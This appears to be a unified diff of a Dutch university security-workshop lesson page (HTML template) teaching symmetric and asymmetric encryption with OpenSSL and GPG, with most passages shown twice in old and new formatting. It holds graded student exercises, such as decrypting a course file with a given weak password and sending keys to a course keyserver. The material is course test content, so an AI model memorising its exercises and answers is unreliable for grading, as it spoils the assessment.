||||
<p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p>
|
||||
|
||||
<p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten
|
||||
encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken
|
||||
om je bestanden, berichten en verbindingen te beveiligen.</p>
|
||||
<h2>Symmetrische encryptie</h2>
|
||||
|
||||
<p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme
|
||||
te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string
|
||||
die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het
|
||||
onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via
|
||||
internet delen, zonder bang te zijn dat iemand het kan lezen.</p>
|
||||
<p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken om je bestanden, berichten en verbindingen te beveiligen.</p>
|
||||
|
||||
<img src="static/img/sym_encryptie.png">
|
||||
<p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via internet delen, zonder bang te zijn dat iemand het kan lezen.</p>
|
||||
|
||||
<p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime
|
||||
sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met
|
||||
<b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data
|
||||
weer terug te krijgen.</p>
|
||||
<img src="static/img/sym_encryptie.png">
|
||||
|
||||
<p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft
|
||||
kunnen Alice en Bob veilig met elkaar communiceren.</p>
|
||||
<p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met <b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data weer terug te krijgen.</p>
|
||||
|
||||
<img src="static/img/sym_decryptie.png">
|
||||
<p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft kunnen Alice en Bob veilig met elkaar communiceren.</p>
|
||||
|
||||
<p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende
|
||||
soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p>
|
||||
<img src="static/img/sym_decryptie.png">
|
||||
|
||||
<code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code>
|
||||
<p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p>
|
||||
|
||||
<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p>
|
||||
<code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<span class="argument">openssl</span> Het programma zelf</li>
|
||||
<li>
|
||||
<span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li>
|
||||
<li>
|
||||
<span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken.
|
||||
<ul>
|
||||
<li>
|
||||
<b>aes</b> staat voor
|
||||
<a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li>
|
||||
<li>
|
||||
<b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li>
|
||||
<li>
|
||||
<b>cbc</b> staat voor
|
||||
<a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<span class="argument">-base64</span> lees en schrijf de versleutelde data als
|
||||
<a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden
|
||||
op websites.</li>
|
||||
<li>
|
||||
<span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke
|
||||
data moet zijn. Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data
|
||||
en de uitvoer wordt dan de versleutelde data</li>
|
||||
<li>
|
||||
<span class="argument">-in geheim.txt</span> het invoerbestand</li>
|
||||
<li>
|
||||
<span class="argument">-out decrypted.txt</span> het uitvoerbestand</li>
|
||||
</ul>
|
||||
<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p>
|
||||
|
||||
<img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em">
|
||||
<ul>
|
||||
<li><span class="argument">openssl</span> Het programma zelf</li>
|
||||
<li><span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li>
|
||||
<li><span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken.
|
||||
<ul>
|
||||
<li><b>aes</b> staat voor <a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li>
|
||||
<li><b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li>
|
||||
<li><b>cbc</b> staat voor <a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li><span class="argument">-base64</span> lees en schrijf de versleutelde data als <a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden op websites.</li>
|
||||
<li><span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke data moet zijn.
|
||||
Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data en de uitvoer wordt dan de versleutelde data</li>
|
||||
<li><span class="argument">-in geheim.txt</span> het invoerbestand</li>
|
||||
<li><span class="argument">-out decrypted.txt</span> het uitvoerbestand</li>
|
||||
</ul>
|
||||
|
||||
<p>Een systeembeheerder heeft een geheim staan in dit
|
||||
<a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen:
|
||||
<code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p>
|
||||
<img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %}
|
||||
<input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input>
|
||||
</div>
|
||||
<p>Een systeembeheerder heeft een geheim staan in dit <a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen: <code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p>
|
||||
|
||||
<p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet
|
||||
je de optie `-md sha256` toevoegen.</code>
|
||||
</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %}
|
||||
<input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Versleutel de tekst "
|
||||
<em>Security Workshop</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik
|
||||
<code>Ab12345</code> als wachtwoord.</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea>
|
||||
</div>
|
||||
<p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet je de optie `-md sha256` toevoegen.</code></p>
|
||||
|
||||
<p class="hint">Hint: Je kan dit commando gebruiken:
|
||||
<code class="terminal">openssl enc -aes-256-cbc -base64 -in plain.txt -out geheim.aes256.txt</code>
|
||||
</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Versleutel de tekst "<em>Avans Hogeschool</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik <code>Ab12345</code> als wachtwoord.</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<h2>Asymmetrische encryptie</h2>
|
||||
<p class="hint">Hint: Je kan dit commando gebruiken: <code class="terminal">openssl enc -aes-256-cbc -base64 -in avans.txt -out avansgeheim.aes256.txt</code></p>
|
||||
|
||||
<p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen.
|
||||
Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden.
|
||||
Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één
|
||||
privé sleutel.</p>
|
||||
<h2>Asymmetrische encryptie</h2>
|
||||
|
||||
<p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal
|
||||
key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit
|
||||
elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke
|
||||
is.
|
||||
</p>
|
||||
<p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen. Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden. Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één privé sleutel.</p>
|
||||
|
||||
<img src="static/img/sleutels_genereren.png">
|
||||
<p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke is.</p>
|
||||
|
||||
<p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen.
|
||||
Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel.
|
||||
<b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met
|
||||
de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p>
|
||||
<img src="static/img/sleutels_genereren.png">
|
||||
|
||||
<img src="static/img/asym_encryptie.png">
|
||||
<p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen. Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel. <b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p>
|
||||
|
||||
<p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische
|
||||
encryptie. Waarom zouden we dit gebruiken?</p>
|
||||
<img src="static/img/asym_encryptie.png">
|
||||
|
||||
<p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd
|
||||
geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende
|
||||
sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand
|
||||
anders.
|
||||
</p>
|
||||
<p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische encryptie. Waarom zouden we dit gebruiken?</p>
|
||||
|
||||
<img src="static/img/publicprivatekey.png">
|
||||
<p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand anders.</p>
|
||||
|
||||
<p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel.
|
||||
Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker
|
||||
dat alleen Bob het kan lezen.</p>
|
||||
<img src="static/img/publicprivatekey.png">
|
||||
|
||||
<img src="static/img/asym_alicebob.png">
|
||||
<p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel. Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker dat alleen Bob het kan lezen.</p>
|
||||
|
||||
<p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan
|
||||
het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht
|
||||
van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is.
|
||||
<img src="static/img/asym_alicebob.png">
|
||||
|
||||
<p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is.
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe kan Alice één bericht naar Bob versturen zodat de volgende dingen tegelijkertijd gelden:
|
||||
<ol>
|
||||
<li>Alleen Bob kan het bericht lezen</li>
|
||||
<li>Bob weet zeker dat het bericht van Alice is</li>
|
||||
</ol>
|
||||
Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat
|
||||
ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel.
|
||||
</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe kan Alice één bericht naar Bob versturen zodat de volgende dingen tegelijkertijd gelden:
|
||||
<ol>
|
||||
<li>Alleen Bob kan het bericht lezen</li>
|
||||
<li>Bob weet zeker dat het bericht van Alice is</li>
|
||||
</ol>
|
||||
Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel.
|
||||
</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p>
|
||||
<p class="hint"><strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p>
|
||||
|
||||
<img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%">
|
||||
<img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%">
|
||||
|
||||
<p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen
|
||||
die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p>
|
||||
<p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p>
|
||||
|
||||
<p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en
|
||||
een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou
|
||||
en de andere persoon gelezen kunnen worden.</p>
|
||||
<p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou en de andere persoon gelezen kunnen worden.</p>
|
||||
|
||||
<img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%">
|
||||
<img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie
|
||||
twee de chat kan lezen?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie twee de chat kan lezen?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea>
|
||||
</div>
|
||||
|
||||
|
||||
<h2>GPG</h2>
|
||||
<h2>GPG</h2>
|
||||
|
||||
<p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de
|
||||
<a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert
|
||||
is
|
||||
<a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde
|
||||
berichten versturen.</p>
|
||||
<p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de <a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert is <a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde berichten versturen.</p>
|
||||
|
||||
<p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een
|
||||
<b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben
|
||||
we onze eigen keyserver ingericht op websec.paulwagener.nl.
|
||||
<b>Deze werkt niet als je de opdrachten thuis maakt</b>. De firewall blokkeert poort 11371 waarop deze server werkt.</p>
|
||||
<p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een <b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben we onze eigen keyserver ingericht op sec1.aii.avans.nl. <b>Deze werkt niet als je de opdrachten thuis maakt</b>. De Avans firewall blokkeert poort 11371 waarop deze server werkt. Als je thuis de opdrachten wilt maken kan je het beste <a href="https://vmview-1.aii.avans.nl/" target="_blank">inloggen</a> op een PANO-box VM. Daar werkt het wel.</p>
|
||||
|
||||
<p>GPG kan je
|
||||
<a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X
|
||||
gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p>
|
||||
<p>GPG kan je <a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p>
|
||||
|
||||
<img src="static/img/gpg.png">
|
||||
<img src="static/img/gpg.png">
|
||||
|
||||
<code class="terminal">gpg --help</code>
|
||||
<code class="terminal">gpg --help</code>
|
||||
|
||||
<p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je
|
||||
bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p>
|
||||
<p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li>
|
||||
<li>
|
||||
<b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li>
|
||||
<li>
|
||||
<b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li>
|
||||
<li>
|
||||
<b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li>
|
||||
<li>
|
||||
<b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li>
|
||||
<li>
|
||||
<b>--recv-keys --keyserver websec.paulwagener.nl
|
||||
<i>sleutel-ID</i>
|
||||
</b> Haal een publieke sleutel op van de onze keyserver</li>
|
||||
<li>
|
||||
<b>--send-keys --keyserver websec.paulwagener.nl
|
||||
<i>sleutel-ID</i>
|
||||
</b> Verstuur een publieke sleutel naar onze keyserver</li>
|
||||
<li>
|
||||
<b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li>
|
||||
<li>
|
||||
<b>-a</b> Output in ASCII base64 formaat</li>
|
||||
<p>
|
||||
<ul>
|
||||
<li><b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li>
|
||||
<li><b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li>
|
||||
<li><b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li>
|
||||
<li><b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li>
|
||||
<li><b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li>
|
||||
<li><b>--recv-keys --keyserver sec1.aii.avans.nl <i>sleutel-ID</i></b> Haal een publieke sleutel op van de onze keyserver</li>
|
||||
<li><b>--send-keys --keyserver sec1.aii.avans.nl <i>sleutel-ID</i></b> Verstuur een publieke sleutel naar onze keyserver</li>
|
||||
<li><b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li>
|
||||
<li><b>-a</b> Output in ASCII base64 formaat</li>
|
||||
<p>
|
||||
|
||||
<p>Haal van de keyserver onze publieke sleutel op met sleutel-ID
|
||||
<b>D4CCE6DA0374A1B1EC8D8B5005CCA14870CE34A9</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel
|
||||
een tekst versleuteld in
|
||||
<a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p>
|
||||
<p>Haal van de keyserver onze publieke sleutel op met sleutel-ID <b>B69F77232CE5546445137725D555F2F5FA9E1C5A</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel een tekst versleuteld in <a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke zin hebben we versleuteld?</span>
|
||||
@@ -234,81 +151,72 @@
|
||||
<input class="question-input" name="answer_encryption_decrypt_public_key" value="{{ answers.answer_encryption_decrypt_public_key.string }}">
|
||||
</div>
|
||||
|
||||
<p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit
|
||||
bestandje de geheime code "555-0690" en je e-mailadres staat.</p>
|
||||
<p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit bestandje de geheime code "555-0690" en je Avans e-mailadres staat.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde
|
||||
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
|
||||
<span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde <code>-----BEGIN PGP MESSAGE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt_public_key.points max="5" %}
|
||||
<textarea class="question-input" name="answer_encryption_encrypt_public_key">{{ answers.answer_encryption_encrypt_public_key.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als
|
||||
je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p>
|
||||
<p class="hint"><strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p>
|
||||
<p class="hint"><strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten
|
||||
(zie lijst van opties hierboven)</p>
|
||||
<p class="hint"><strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten (zie lijst van opties hierboven)</p>
|
||||
|
||||
<p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel
|
||||
naar de websec.paulwagener.nl keyserver.
|
||||
<b>Gebruik je e-mailadres voor het e-mailveld</b>.</p>
|
||||
<p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel naar de sec1.aii.avans.nl keyserver. <b>Gebruik je Avans e-mailadres voor het e-mailveld</b>.</p>
|
||||
|
||||
<p>Vergeet niet om je publieke sleutel naar de websec.paulwagener.nl keyserver te sturen zodat anderen die kunnen opzoeken
|
||||
en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten
|
||||
voor onderstaande opdracht niet!)</p>
|
||||
<p>Vergeet niet om je publieke sleutel naar de sec1.aii.avans.nl keyserver te sturen zodat anderen die kunnen opzoeken en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten voor onderstaande opdracht niet!)</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het
|
||||
tekstveld (inclusief begin en einde
|
||||
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
|
||||
<span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het tekstveld (inclusief begin en einde <code>-----BEGIN PGP MESSAGE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt_with_own_private.points max="5" %}
|
||||
